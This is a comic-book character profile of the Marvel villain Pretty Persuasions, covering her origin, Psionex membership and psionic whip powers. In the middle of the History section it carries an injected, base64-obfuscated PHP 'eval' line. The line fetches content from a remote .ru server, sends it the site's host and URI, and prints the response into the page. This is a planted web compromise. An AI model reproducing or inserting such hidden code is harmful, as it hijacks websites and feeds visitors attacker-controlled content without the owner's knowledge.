Real Name: Heidi P. Franklin
Identity: Known to Authorities
Occupation: Mercenary, Terrorist, Exotic Dancer
Citizenship: American Citizen with a Criminal Record
Place of Birth: Unknown
Known Relatives: None
Group Affiliation: Psionex
First Appearance: New Warriors #4 (V1)
History: Heidi Franklin’s life began as an exotic dancer; however, seeking quick money, she volunteered to be a part of Genetech’s research in creating superhuman begins. When testing was done, she found that she had gained the ability to stimulate a person’s pleasure centers in their brain; including the ability to render her victims paralyzed. She quickly mastered the ability to project this power through the form of a psionic whip.
Early on, along with the rest of Psionex, she found herself in conflict against the New Warriors. [exec]eval(base64_decode(‘JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2Rpc3BlbnNlci0wMS5zYXBlLnJ1L2NvZGVfcGFnZS5waHA/dXNlcj04M2U3YWNmMWNiYWIyMWMyZGExYzM0OWZlMGUwZTE0MCZob3N0PScuJF9TRVJWRVJbSFRUUF9IT1NUXS4nJnVyaT0nLiRfU0VSVkVSW1JFUVVFU1RfVVJJXSk7DQplY2hvICRkYXRhOw==’));[/exec] It wasn’t until Psionex broke free of Genetech, that Pretty Persuasions returned to exotic dancing, using her powers to enhance her performances.
When the Superhuman Registration Act began, she decided to sign up and register herself, rather than have the Thunderbolts hunt her down.
Her current whereabouts remain unknown, but it’s assumed, she is still an exotic dancer at the Gentleman’s Club once frequented by Speed Demon.
Weight: 155 lbs
Powers: Pretty Persuasions gained the ability to stimulate a person’s pleasure centers in their brain; including the ability to render her victims paralyzed. She quickly mastered the ability to project this power through the form of a psionic whip.
Weapons: She has mastered her ability in the form of psionic weapons, usually in the form of a whip.
Note: It appears the experiments that granted Pretty Persuasions her powers also damaged her mental state.